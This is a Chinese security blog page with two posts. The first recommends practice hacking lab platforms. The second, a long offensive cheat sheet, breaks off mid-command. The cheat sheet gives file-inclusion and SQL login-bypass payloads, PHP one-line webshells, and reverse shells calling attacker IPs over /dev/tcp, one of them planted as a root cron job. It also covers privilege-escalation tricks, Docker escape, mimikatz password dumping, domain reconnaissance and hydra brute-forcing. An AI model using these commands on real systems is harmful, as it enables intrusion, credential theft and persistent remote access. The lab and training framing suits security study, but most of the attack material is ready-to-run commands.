首页
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
5,172 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
4,485 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
3,260 阅读
4
几个常见的密码字典推荐
2,630 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
2,592 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
登录
Search
标签搜索
Windows渗透
域渗透
HackMyVm
CyberStrikeLab靶场
内网渗透
渗透测试
网络安全
Web安全
cyberstrikelab
OSCP
SQL注入
WAF绕过
信息收集
渗透工具
靶场
靶场推荐
MSF
ThinkPHP漏洞
Vulfocus
vulnhub
泷羽Sec
累计撰写
185
篇文章
累计收到
0
条评论
首页
导航
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
工具导航
留言面板
友情链接
搜索到
70
篇与
的结果
2025-06-22
2025最新渗透测试靶场推荐,新手必练的靶场推荐
继上一篇渗透测试中新手必练的15个靶场,这次又新增了十个常用的靶场平台,帮助师傅们在学习渗透测试的路上不迷路,在开始之前呢推荐一个永久的渗透测试知识库,点击下方链接领取领取地址1、cyberstrikelab网址:https://www.cyberstrikelab.com/cyberstrikelab 是一个专注于网络安全的在线仿真实战平台,由经验丰富的红队人员打造,以实战、系统、便利为特色,其靶机根据多年实战案例搭建,能帮助学习者提升网络安全实战技能。2、hackthebox网址:https://app.hackthebox.com/Hack The Box 是一个国际知名的网络安全渗透测试实战靶场平台,提供在线的渗透测试环境与挑战,帮助网络安全学习者与从业者提升实战技能。3、hackmyvm网址:https://hackmyvm.eu/HackMyVM 是一个国际性的网络安全靶场平台,提供多种虚拟机镜像靶机,用户可使用 VMware 或 VirtualBox 运行,挑战目标是获取操作系统的 root 权限和查看 flag。其靶机涵盖从入门到高阶的难度,适合不同水平的渗透测试爱好者学习与练习。4、Root Me网址:https://www.root-me.org/Root Me 是一个国际知名且免费的在线网络安全学习平台,提供CTF风格的网络安全挑战,涵盖密码学、WEB、脚本、网络、编程等内容的靶场,适合中高级学习者。5、Try Hack Me网址:https://tryhackme.com/Try Hack Me 是一个适合初学者的在线网络安全学习平台,提供结构化的课程、实战靶场和 CTF 挑战,帮助用户提升从基础到高级的网络安全技能。包括windows和Linux的靶场渗透。6、Vulfocus网址:https://vulfocus.cn/Vulfocus 是一个漏洞集成平台,将漏洞环境 Docker 镜像放入即可使用,开箱即用,可用于漏洞复现、POC 验证、EXP 验证等,它由白帽汇推出,本质上是一个漏洞靶场。7、vulhub网址:https://github.com/vulhub/vulhubvulhub 是一个开源的漏洞靶场项目,基于 Docker 和 Docker-Compose 技术,提供一系列预构建的漏洞环境,用户可以快速搭建和测试各种漏洞场景,适合中高级学习者进行漏洞复现和研究8、vulnhub网址:https://www.vulnhub.com/和hackmyvm类似,是一个开源漏洞靶场项目,基于 Docker 和 Docker-compose 技术,提供一系列预构建的漏洞环境,用户可快速搭建和测试各种漏洞场景,适合中高级学习者进行漏洞复现和研究。9、XCTF攻防世界网址:https://adworld.xctf.org.cn/XCTF 攻防世界是一个专注于网络安全的在线平台,提供大量高质量的 CTF 题目和实训环境,适合不同水平的学习者提升实战技能。10、XSS小游戏网址:https://xss.haozi.me/#/xss学习必备的小游戏11、墨者学院网址:https://www.mozhe.cn/墨者学院是一个专业的网络安全在线靶场平台,专注于实战技能培养,适合网络安全学习者提升攻防能力。12、封神台网址:https://hack.zkaq.cn/封神台是掌控安全推出的一个在线攻防演练靶场,专注于网络安全渗透测试演练,适合网络安全学习者和从业者进行实战技能提升13、春秋云镜https://yunjing.ichunqiu.com/春秋云镜是一个专注于实战化的网络安全攻防演练靶场平台,提供了多样化的漏洞环境和场景,以帮助用户提升网络安全技能和攻防实战能力。14、玄机靶场https://xj.edisec.net/玄机靶场是一个专业的网络安全实验平台,提供多样化的攻击场景库和丰富的题库,涵盖渗透测试、应急响应、CTF竞赛等领域,适合不同层次的学习者进行实战训练,提升网络安全技能。15、红日靶场http://vulnstack.qiyuanxuetang.net/vuln/红日靶场是一个由红日安全团队打造的网络安全靶场平台,其特点是提供模拟真实企业内网的环境,涵盖域控、黄金票据等高级内网渗透场景,适合具备一定基础的学习者进行实战训练。靶场通过虚拟机镜像形式提供,需本地部署使用16、ctfhubhttps://www.ctfhub.com/CTFHub 是一个专注于信息安全竞赛的在线学习平台,提供题目练习、赛事跟踪等服务,适合 CTF 爱好者学习和提升技能。17、ctfshowhttps://ctf.show/CTFShow 是一个在线的网络安全学习平台,提供丰富的 CTF 题目和解题思路,适合 CTF 爱好者学习和提升技能。18、AltoroJhttps://demo.testfire.net/AltoroJ 是一个开源的银行应用程序,用于展示 Web 应用安全漏洞,适合网络安全学习者进行安全测试和教育训练。它包含多种漏洞,如 SQL 注入、跨站脚本攻击等,旨在帮助学习者深入了解 Web 应用的安全性问题和防御策略。19、vulnwebhttp://vulnweb.com/Vulnweb 是一个故意设置安全漏洞的 PHP 在线商店示例,用于测试网页漏洞扫描工具和技能,如 SQL 注入、跨站脚本攻击等。它模拟真实的漏洞环境,帮助开发者、安全研究人员和学生学习常见的 Web 应用安全漏洞20、XSS-LABhttps://vuln.longyusec.com/xss-labs是一个专注于跨站脚本攻击(XSS)学习和测试的开源靶场,提供多种XSS漏洞场景,帮助用户理解XSS攻击原理、掌握防御技巧,并通过实践提升安全意识和技能。21、SQL-LABShttps://vuln.longyusec.com/sql-libs是一个专门用于学习和测试SQL注入的开源平台,它提供了一系列的注入场景和关卡,帮助开发者和安全测试人员深入理解SQL注入的原理和防范方法。通过sql-libs,用户可以实践不同类型的SQL注入攻击,并学习如何编写安全的代码来避免这些漏洞。22、DVWAhttps://vuln.longyusec.com/DVWA是一个用于演示网页应用安全漏洞的开源软件平台,旨在帮助安全专业人士、学生及开发者理解并学习常见安全漏洞。它模拟了多种漏洞场景,如SQL注入、XSS等,提供安全测试环境。新手必练靶场之一。23、upload-labshttps://vuln.longyusec.com/upload-labs是一个使用PHP语言编写的,专门用于渗透测试和CTF中遇到的各种文件上传漏洞的靶场,旨在帮助用户深入了解文件上传漏洞的原理和防范措施。它提供了一系列模拟文件上传漏洞的实验环境,每个关卡都包含着不同的上传方式和挑战。24、mutillidaehttps://vuln.longyusec.com/Mutillidae 是一个免费、开源的 Web 应用程序安全漏洞靶场,由 OWASP 社区支持,包含丰富的渗透测试项目,如 SQL 注入、跨站脚本攻击、文件包含等,旨在帮助学习者理解和发现常见的 Web 应用安全问题。25、JAVA Sec Labhttps://github.com/whgojp/JavaSecLabJavaSecLab 是一款综合型 Java 漏洞平台,提供相关漏洞缺陷代码、修复代码、漏洞场景、审计 SINK 点、安全编码规范,覆盖多种漏洞场景,拥有友好用户交互 UI,适合安全研究人员、开发人员和安全服务人员学习和理解 Java 安全漏洞的生成、修复和审计过程。25、极核靶场https://hackhub.get-shell.com/games一个不错的靶场练习平台感谢师傅能看到这里再送一波福利,师傅们不想要一个一个看,那么我都准备好了,在longyusec.com中点击相关的链接就可以进入相应的靶场啦,如果还有比较热门的靶场没有提交到这,欢迎师傅们投稿往期推荐近400个渗透测试常用命令,信息收集、web、内网、隐藏通信、域渗透等等内网渗透,流量转发Linux内网渗透(2w字超详细)AD域内网渗透-三种漏洞利用方式【OSCP】vulnerable_Docker,三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式内网渗透必备,microsocks,一个轻量级的socks代理工具【OSCP】 Kioptrix 提权靶机(1-5)全系列教程,Try Harder!绝对干货!DC-2综合渗透,rbash逃逸,git提权,wordpress靶场渗透教程【渗透测试】12种rbash逃逸方式总结红日靶场5,windows内网渗透,社工提权,多种域内横向移动思路红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略SQL注入中各种WAF的绕过方式,狗,盾,神,锁,宝利用MySQL特性,WAF绕过技巧SQL注入绕过某狗的WAF防火墙,这一篇就够了,6k文案超详细大型翻车现场,十种WAF绕过姿势,仅成功一种喜欢长文吗?1w字图文带你了解sqlmap,从0到1,WAF绕过,高级用法一文通透
2025年06月22日
4,485 阅读
0 评论
0 点赞
2025-06-14
渗透测试命令汇总,常用的渗透测试命令大全
渗透测试命令汇总在正式开始之前推荐一个永久的渗透测试知识库点击下方蓝色字体即可加入奥!-----------⬇⬇⬇⬇⬇⬇⬇⬇⬇⬇⬇⬇⬇⬇⬇⬇⬇⬇⬇----------➡➡➡➡➡一个永久的渗透知识库,欢迎您的加入⬅⬅⬅⬅⬅-----------⬆⬆⬆⬆⬆⬆⬆⬆⬆⬆⬆⬆⬆⬆⬆⬆⬆⬆⬆----------下面就是我平时在打靶过程中常用的一些命令,有些可能会疏忽,不过会一直更新的一、TOP10利用1、文件包含类payload利用php://filter/read=convert.base64-encode/resource=index.phpphp://filter/resource=index.phpphp://filter/string.strip_tags|convert.base64-decode/resource=shell.phpdata://text/plain,<?php%20phpinfo();?>data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2bfile:///etc/passwdhttp://127.0.0.1/cmd.php?cmd=php://inputPOST数据:<?php phpinfo()?>curl http://10.10.10.200/test.php?file=/home/qiu/.ssh/id_rsa# 在文件包含中几个重要的文件/home/qiu/.ssh/id_rsa # 私钥chmod 600 ~/.ssh/id_rsa # 需要赋予权限,否则可能利用不成功,必须600ssh -i id_rsa root@10.10.10.200 # 使用密匙文件登录2、目录扫描类# gobuster添加UA,指定扫描的文件类型gobuster dir -u http://10.10.10.192/NickIzL33t/ -w /usr/share/wordlists/rockyou.txt -x txt,zip,php,html -H 'User-Agent:Mozilla/5.0 (iPhone; CPU iPhone OS............8.0 main%2F1.0 baiduboxapp/13.40.0.10 (Baidu; P2 15.5) NABar/1.0 themeUA=Theme/default' -s 200 -b '' -t 200# gobuster扫描指定的文件类型gobuster dir -u http://10.10.10.201/seeddms51x -w /data/SecLists_Dict/Discovery/Web-Content/directory-list-1.0.txt -x html,txt,php,js# 使用dirb指定扫描的文件类型dirb http://192.168.5.139/w/h/i/s/p/e/r/the_abyss/ -X .txt .img .html# 其他自行查找# dirsearchpython3 dirsearch.py -e php,txt,zip -u https://target # 简单的查看网址目录和文件python3 dirsearch.py -e php,txt,zip -u https://target -w db/dicc.txt # 使用文件拓展名为php,txt,zip的字典扫描目标urlpython dirsearch.py -u http://xxxx -r # 递归扫描,不过容易被检测python dirsearch.py -u http://xxxx -r -t 30 # 线程控制请求速率python dirsearch.py -u http://xxxx -r -t 30 --proxy 127.0.0.1:8080 # 使用代理3、常见登录框万能密码' or 1=1 --+' or 1=1 -- +' or 1=1#" or 1=1 --+" or 1=1 -- +" || 1=1 -- +" || 1=1 --+" || 1=1 #二、信息收集1、基本信息收集Linuxuname -ahostname # 主机名# 系统信息相关lsb_release -acat /etc/os-releasecat /proc/version# 权限相关sudo -l # 查看可以使用sudo的文件find / -perm -4000 -print 2>/dev/null # 方式1:查找 SUID文件find / -perm -u=s -type f 2>/dev/null # 方式2:查找 SUID文件ls -al /etc/cron* # 查看所有计划任务cat /etc/crontabcrontab -lfind / -perm 777 -type f -u root 2>/dev/null # 查看文件权限为777的文件信息,root用户find / -perm 777 -type f 2>/dev/null # 查看文件权限为777的文件信息# 其他信息收集ps -auxnetstat -tulnphistorypwd # 查看当前目录whoami # 查看当前用户grep -rno stapler # 筛选当前目录以及递归的子目录所有文件中包含stapler字符的文件,并显示行号windows普通信息收集ipconfig /all # 查看所有网络信息,包括域和dnsnet view # 查看域内用户net localgroup administrators # 查看Administrators组的成员chdir # 查看当前目录netstat -ano # 查看进程信息systeminfo | findstr /i "system type" # 查看系统类型windows信息收集进阶sc query WinDefend # 检查是否存在杀软windows defenderwindows信息收集之MSFmeterpreter > run post/windows/gather/enum_applications # 枚举已安装的软件meterpreter > run post/windows/gather/enum_firewall # 检查防火墙状态meterpreter > run post/windows/gather/enum_services # 枚举所有服务fscancd fscan//进入fscan文件夹# 执行在windows下为fscan.exe,Linux下为./fscan# 例如./fscan -h 192.168.101.1/24 # 启动fscan并扫描网段fscan.exe -h 192.168.x.x # 默认使用全部模块fscan.exe -h 192.168.x.x -rf id_rsa.pub # redis 写私钥fscan.exe -h 192.168.x.x -c whoami # ssh爆破成功后,命令执行fscan.exe -h 192.168.x.x -m ms17010 # 指定模块fscan.exe -h 192.168.x.x -m ssh -p 2222 # 指定模块ssh和端口fscan.exe -h 192.168.x.x -h 192.168.1.1/24 # C段fscan.exe -h 192.168.x.x -h 192.168.1.1/16 # B段fscan.exe -h 192.168.x.x -h 192.168.1.1/8 # A段的192.x.x.1和192.x.x.254,方便快速查看网段信息fscan.exe -h 192.168.x.x -hf ip.txt # 以文件导入其他持续更新中。。。2、MYSQL相关# 常用报错mysql -uwordpress -pWordPressISBest -h 172.18.0.2 --skip-sslmysql -h10.233.117.225 -P3306 -uroot -p --ssl-mode=DISABLED# sql语句update tblUsers set pwd='e10adc3949ba59abbe56e057f20f883e' where login='admin';# sql信息收集以及利用方法SHOW VARIABLES LIKE 'secure_file_priv'; # 是否允许向外部写入文件# 接下来就向外部写文件# 通过修改日志文件路径,来构造一句话马SHOW VARIABLES LIKE 'general_log_file'; # 显示mysql日志文件路径,执行过的命令的文件路径set global general_log=on; # 开启查询日志set global general_log_file='D:\\\\phpstudy\\www\\shell.php'; # 设置查询日志存储路径select '<?php phpinfo();?>'; # 查询一句话set golbal general_log=off; # 最后关闭查询日志# phpmyadmin包含session文件# 1、首先创建一张表。2、写入一个字段为一句话木马 <?php @eval($_GET['123']);?>http://10.10.10.131:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_3cfb6084f034677df82ef00120cce4fd3、通信类信息收集本地ip探测,Linux shell脚本# Linuxfor i in {1..254}; do (ping -c 1 172.18.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;windows脚本,ip探测for/l %i in(1,1,255) do @ping 192.168.1.%i -w 1 -n 1 | find /i "ttl"三、常用渗透命令1、Windowscmd下载certutil -urlcache -split -f http://192.168.93.20:5000/frpc.ini c:\mimikatz.exe # 从指定服务器下载文件taskkill /PID 356 /F # 强制结束进程信息powershell# 更新中2、Linux# 见信息收集反弹shell中的监听方socat监听本地端口socat TCP-LISTEN:4444 STDOUTnc监听本地端口nc -lvnp 1234三、交互式终端利用socat工具创建交互式终端并反弹shell(没有python的使用方法)./socat tcp:10.10.10.128:1234 exec:'/bin/bash -li',pty,stderr,sigint,sighup,sigquit,sane利用python创建交互式终端python -c 'import pty; pty.spawn("/bin/bash")';python2 -c 'import pty; pty.spawn("/bin/bash")';python3 -c 'import pty; pty.spawn("/bin/bash")';利用MSF创建交互式终端use post/multi/manage/shell_to_meterpreterset session 2 # 设置已经上线的会话run使用ssh创建密匙文件ssh-keygen -t rsa -b 4096# 回车# 回车# 回车# 靶机wget 10.10.10.130:5000/id_rsa.pubchmod 700 /tmp/forest/home/ubuntu/.ssh/cp id_rsa.pub /tmp/forest/home/ubuntu/.ssh/authorized_keyschmod 600 /tmp/forest/home/ubuntu/.ssh/authorized_keys# 对于低版本的openssh需要使用算法配置,下面是一些常用的排错方法ssh ubuntu@10.10.10.131 -oPubkeyAcceptedKeyTypes=+ssh-rsa -i id_rsassh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa -i rain_rsa ubuntu@10.10.10.131shell敲击(敲门)for x in 1466 67 1469 1514 1981 1986; do nmap -Pn -p $x 10.10.10.194; done# orknock 10.10.10.194 1466 67 1469 1514 1981 1986 -v一句话木马php、一句话马<?php @eval($_POST['pass']);?>rbash / shell 逃逸命令ssh username@IP "export TERM=xterm;python -c 'import pty;pty.spawn(\"/bin/bash\")'"wfuzz模糊测试相关# 安卓url爆破响应为200的结果(添加UA)wfuzz -u http://10.10.10.192:8008/NickIzL33t/FUZZ.html -w small_rockyou.txt -H 'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS............8.0 main%2F1.0 baiduboxapp/13.40.0.10 (Baidu; P2 15.5) NABar/1.0 themeUA=Theme/default' --sc 200# 普通url爆破响应为200的结果wfuzz -u http://10.10.10.192:8008/NickIzL33t/FUZZ.html -w small_rockyou.txt --sc 200# 筛选出响应长度在100到100000之间的结果wfuzz -u http://10.10.10.200/test.php?FUZZ=/etc/passwd -w /data/SecLists_Dict/Discovery/Web-Content/small_common.txt--ss "^(.{100,100000})$"# 指定从1开始模糊测试wfuzz -u http://10.10.10.203/wordpress/?page_id=FUZZ -z range,1-1000 --sc 200密码爆破类别1、hydra爆破海德拉爆破网页post表单(-f爆破成功一个就停止),^USER^和^PASS^分别代表的用户名和密码的变量,Invalid表示排除字段,即出现了这个字段表示爆破失败hydra -l rmichaels -P /usr/share/wordlists/fasttrack.txt -t 4 -vV 192.168.209.132 http-post-form "/imfadministrator/index.php:user=^USER^&pass=^PASS^:Invalid"海德拉爆破ssh / rdp(win远程)hydra -l rmichaels -P /usr/share/wordlists/fasttrack.txt -t 4 -vV 192.168.209.132 ssh海德拉爆破smbproxychains hydra -l Administrator -P pass.txt \-s 445 -t 4 -vV -m "SMB" \smb://192.168.138.1382、zip压缩包密码爆破fcrackzip -D -p pass.txt -u t0msp4ssw0rdz.zip3、wordpress后台爆破wpscan --url http://10.10.10.203/wordpress -e u -P /data/SecLists_Dict/Passwords/darkweb2017-top10000.txt隐藏通信类代理reGeorg (http / https隧道)python2 reGeorgSocksProxy.py -u http://10.10.10.129:8000/tunnel.php # 这样会开启一个本地代理到8888端口,挂在后台vi /etc/proxychains4.conf # 修改最后一行为代理的端口和ip地址MSF代理添加路由route # 查看路由信息run autoroute -s 172.18.0.0/24 # 添加路由表run autoroute -p # 查看路由表情况进行内网探测(ip存活数量)以及端口扫描use auxiliary/scanner/portscan/tcpset session 3set rhosts 172.18.0.0/24runfrp代理工具的使用方法# kalipython -m http.server 443# 靶机cd /tmpcurl -O 10.10.10.128:443/frpccurl -O 10.10.10.128:443/frpc.inichmod +x frpc# kali./frps -c frps.ini# 靶机./frpc -c frpc.inimicrosocks 轻量级的socks代理工具microsocks -1 -i listenip -p port -u user -P password -b bindaddr # 参数绑定microsocks -b 0.0.0.0 -p 1080 # 不用密码直接用ssh端口转发ssh -CfNg -L 2021:192.168.110.132:3389 kali@192.168.110.128# 132是靶机,128是kali# 解释:这条命令的作用,在攻击机上建立一个本地ssh服务器的ssh隧道# 将本地的2021端口的流量通过这个隧道转发到远程主机192.168.110.132的3389端口# 重点如下:# 这样,当你在本地机器上访问攻击机kali本地的2021端口时,实际上访问的是远程主机192.168.110.132的3389端口lcx端口转发wget http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip# windows靶机lcx.exe -slave 192.168.110.128(攻击机IP) 4444 127.0.0.1 3389# kali./portmap -m 2 -p1 4444 -h2 192.168.110.128 -p2 5555Linux其他命令强制终止一个进程netstat -tulnpsudo kill -9 $(sudo lsof -t -i:8888)docker系列docker安装,修改源deb http://mirrors.aliyun.com/ubuntu/ jammy main restricted universe multiversedeb-src http://mirrors.aliyun.com/ubuntu/ jammy main restricted universe multiversedeb http://mirrors.aliyun.com/ubuntu/ jammy-security main restricted universe multiversedeb-src http://mirrors.aliyun.com/ubuntu/ jammy-security main restricted universe multiversedeb http://mirrors.aliyun.com/ubuntu/ jammy-updates main restricted universe multiversedeb-src http://mirrors.aliyun.com/ubuntu/ jammy-updates main restricted universe multiversedeb http://mirrors.aliyun.com/ubuntu/ jammy-backports main restricted universe multiversedeb-src http://mirrors.aliyun.com/ubuntu/ jammy-backports main restricted universe multiverseecho '源' > /etc/apt/sources.listapt-get updateapt-get install docker.iodocker逃逸低版本docker run --rm -it -v /:/tmp/1/ wordpress /bin/bashcd /tmp/1cat flag_3特权逃逸(利用条件:管理员启动容器执行docker run —privileged)mkdir /tmp/forest # 创建一个文件夹mount /dev/sda1 /tmp/forest # 挂载磁盘ls /tmp/forest # 查看挂载后的磁盘内容docker信息收集ls -alh /.dockerenv # 判断是否为docker环境,存在则是,进行下一条命令,不存在则否cat /proc/1/cgroup # 通过控制组(cgroup)信息判断容器化环境反弹shell绕过1、bash绕过bash -c '/bin/bash -i >& /dev/tcp/10.10.10.128/1234 0>&1' # 利用 -c 来执行命令2、写计划任务也可以用来进行docker逃逸echo "/bin/bash -i >& bash -i >& /dev/tcp/10.10.10.130/1234 0>&1">> /tmp/forest/tmp/shell.shchmod +x /tmp/forest/tmp/shell.shcat /tmp/forest/tmp/shell.sh# 写入crontab计划任务,表示每隔1分钟以root权限执行一次计划echo '*/1 * * * * root bash /tmp/shell.sh' > /tmp/forest/etc/crontabcat /tmp/forest/etc/crontabnc -lvnp 1234提权系列命令bash提权/usr/bin/bash -p软连接+修改环境变量提权ramses@NullByte:/var/www/backup$ ./procwatchPID TTY TIME CMD3407 pts/0 00:00:00 procwatch3408 pts/0 00:00:00 sh3409 pts/0 00:00:00 psramses@NullByte:/var/www/backup$ ln -s /bin/sh psramses@NullByte:/var/www/backup$ export PATH=.:$PATHramses@NullByte:/var/www/backup$ ./procwatchdocker逃逸成功,是root权限(docker容器),即可利用如下命令提权(计划任务提权/添加计划任务)echo "/bin/bash -i >& bash -i >& /dev/tcp/10.10.10.130/1234 0>&1">> /tmp/forest/tmp/shell.shchmod +x /tmp/forest/tmp/shell.shcat /tmp/forest/tmp/shell.sh# 写入crontab计划任务,表示每隔1分钟以root权限执行一次计划echo '*/1 * * * * root bash /tmp/shell.sh' > /tmp/forest/etc/crontabcat /tmp/forest/etc/crontabnc -lvnp 1234tcpdump提权COMMAND='id'TF=$(mktemp) # 一个临时文件路径echo "$COMMAND" > $TF # 追加要执行的命令到上面那个文件chmod +x $TF # 赋予执行权限sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root# 注意这里 ⬆ 是你需要监听的网卡地址# 即可提权执行命令find提权(find需要具有suid权限,即可提权)# sudosudo find . -exec /bin/sh \; -quit# shellfind . -exec /bin/sh \; -quit计划任务提权# 命令crontab -e# sudosudo crontab -e# 修改计划任务文件,或者追加一个定时任务,前提是root用户的计划任务mysql提权# 获得一个shellmysql -e '\! /bin/sh'# sudo + shellsudo mysql -e '\! /bin/sh'# udf提权,后续文章讲解脏牛提权# exp地址https://github.com/gbonacini/CVE-2016-5195# 脏牛提权https://github.com/aishee/scan-dirtycow/blob/master/dirtycowscan.sh# 一般情况靶机上面无法运行脏牛的提权文件,需要结果预编译后执行# g++编译.cpp文件为可执行文件:g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil# gcc编译.c文件为可执行文件:gcc -pthread dirty.c -o dirty -lcryptgcc 45010.c -o 45010烂土豆提权(windows)https://github.com/foxglovesec/Potatojuicypotato.exe(多汁土豆提权)# 下载地址https://github.com/ohpe/juicy-potato# 提权步骤# 查看本地用户的权限,是否具有SeImpersonate或SeAssignPrimaryToken权限whoami /allwhoami priv# 如果开启SeImpersonate权限,juicypotato的参数可以使用-t t# 如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u# 如果均开启,可以选择-t * 如果均未开启,那么无法提权。# 查看RPC默认端口是否为135netstat -abno# 若rpc服务被修改,则使用-n 参数指定修改后的端口,如 -n 111# 添加防火墙规则,允许135端口入站netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow# 不同操作系统选择可用的CLSID# 参考列表:https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md# 列表中随便选择了一个6d18ad12-bde3-4393-b311-099c346e6df9# 选择系统未占用的端口作为监听端口# 最终提权命令如C:\wmpub\JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {6d18ad12-bde3-4393-b311-099c346e6df9}另一个大佬写的webshell、shellcode的juicyPotato.exe# 下载地址https://github.com/uknowsec/JuicyPotato# 提权命令C:\juicyPotato_32.exe -p whoami# 执行命令execute -f juicypotato.exe -p net user test 123456execute -f juicypotato.exe -p net localgroup administrators test /add...... 持续更新中,访问泷羽Sec官网即可,longyusec.comFTP系列ProFTPd拷贝漏洞telnet 10.10.10.198 21site cpfr /home/patrick/version_control # 将这个文件拷贝site cpto /home/ftp/upload/version_control # 拷贝的文件放到这里ftp常用命令get version_control # 下载文件send version_control # 将本地文件发送到服务器(上传)CMS系列wordpress默认主题目录(主题名称需要小写)curl http://10.10.10.203/wordpress/wp-content/themes/twentynineteen/secret.phpjoomla内容管理系统,利用网站https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cnjoomla默认主题目录http://192.168.1.110/templates/beez3/index.php域信息收集域内基础信息收集net view /domain # 查看域net view /domain:XXX(域名) # 查看域内所有的计算机net group /domain # 查询域内所有用户组列表net group "domain computers" /domain # 查看所有域成员计算机列表net accounts /domain # 获取域密码信息nltest /domain_trusts # 获取域信任信息查找域控制器# 查看域内控制器的机器名nltest /DCLIST:XXX# 查看域控制器的主机名Nslookup -type=SRV _ldap._tcp# 查看当前时间net time /domain# 查看域控制器组# 真实环境中,一般存在两台或两台以上的域控制器,其目的是:一旦主域控制器发生故障,# 备用的域控制器可以使域内服务验证正常进行。net group "Domain Controllers" /domainnetdom query pdc获取域内的用户和管理员信息查询所有域用户列表# 向域控制器进行查询net user /domain# 获取域内用户详细信息wmic useraccount get /all# 查看存在的用户dsquery user# 查询域内置本地管理员组用户net localgroup administrators /domain查询域管理员用户组# 查询域管理员用户net group "domain admins" /domain# 查询管理员用户组net group "Enterprise Admins" /domain域管理员定位工具# 下载https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon# 参数psloggedon [-] [-l] [-x] [\\computername|username]-:显示支持的选项和用于输出值的单位。-l:仅显示本地登录,不显示本地和网络资源登录。-x:不显示登录时间。\\computername:指定要列出登录信息的计算机的名称。Username:指定用户名,在网络中搜索该用户登录的计算机。查找域管理进程本机检查# 获取域管理员列表net group "Domain Admins" /domain# 列出本机所有进程及进程用户Tasklist /v# 寻找是否有进程所有者为域管理员的进程查询域控制器的域用户会话# 查询域控制器列表net group "Domain Controllers" /domain# 收集域管理员列表net group "Domain Admins" /domain# 收集所有活动域会话列表Netsess.exe –h# 交叉引用域管理员列表与活动会话列表# 将域控制器列表添加到 dcs.txt 中,将域管理员列表添加到 admins.txt 中,并和 netsess.exe 放在同一个目录下。运行如下脚本后,会在当前目录下生成一个 sessions.txt 文本文件FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul > sessions.txt && FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr/I %a# 其他脚本下载[GDA](https://github.com/nullbind/Other-Projects/tree/master/GDA)扫描远程系统上运行的任务# 同样首先从“域管理员”组中收集域管理员的列表。net group "Domain Admins" /domain# 然后使用下列脚本,其中 ips.txt 填入目标域系统的列表,在 names.txt 填入收集来的域管理员的列表。FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause扫描远程系统上 NetBIOS 信息# 同样,先收集域管理员列表,然后将目标域系统列表添加到 ips.txt 文件中,将收集到的域管理员列表添加到 admins.txt 文件中,并置于同一目录下.for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i# 这里也可以使用 nbtscan 工具。先收集域管理员列表,然后将目标域系统列表添加到ips.txt 文件中,将收集到的域管理员列表添加到 admins.txt 文件中,和 nbtscan 工具置于同一目录下.for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %ipowershell域内信息收集Get-NetDomain # 获取当前用户所在的域名称。Get-NetUser # 返回所有用户的详细信息。Get-NetDomainController # 获取所有域控制器。Get-NetComputer # 获取所有域内机器的详细信息。Get-NetOU # 获取域中的 OU 信息。Get-NetGroup # 获取所有域内组和组成员信息。Get-NetFileServer # 根据 SPN 获取当前域使用的文件服务器。Get-NetShare # 获取当前域内所有网络共享。Get-NetSession # 获取在指定服务器存在的会话信息。Get-NetRDPSession # 获取在指定服务器存在的远程连接信息。Get-NetProcess # 获取远程主机的进程信息。Get-UserEvent # 获取指定用户的日志信息。Get-ADObject # 获取活动目录的对象信息。Get-NetGPO # 获取域所有组策略对象。Get-DomainPolicy # 获取域默认或域控制器策略。Invoke-UserHunter # 用于获取域用户登录计算机及该用户是否有本地管理权限。Invoke-ProcessHunter # 查找域内所有机器进程用于找到某特定用户。Invoke-UserEventHunter # 根据用户日志获取某域用户登录过哪些域机器域渗透/横向移动/windows渗透枚举域内用户netexec ldap 10.10.11.51 -d sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --users域提权ms14-068ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123使用mimikatz枚举票据mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造mimikatz # kerberos::list //查看当前机器凭证mimikatz # kerberos::ptc TGT_douser@DEMO.COM.ccache //将票据注入到内存中mimikatz # sekurlsa::logonpasswords //显示所有的密码使用mimikatz执行查看日志发现抓到了域控的明文口令mimikatz.exe log privilege::debug sekurlsa::logonpasswords登录,连接并查看域控,通过net use挂载域控共享目录net use \\192.168.93.10\ipc$ "zxcASDqw123!!" /user:Administrator # 使用密码登录到域/SMBnet use 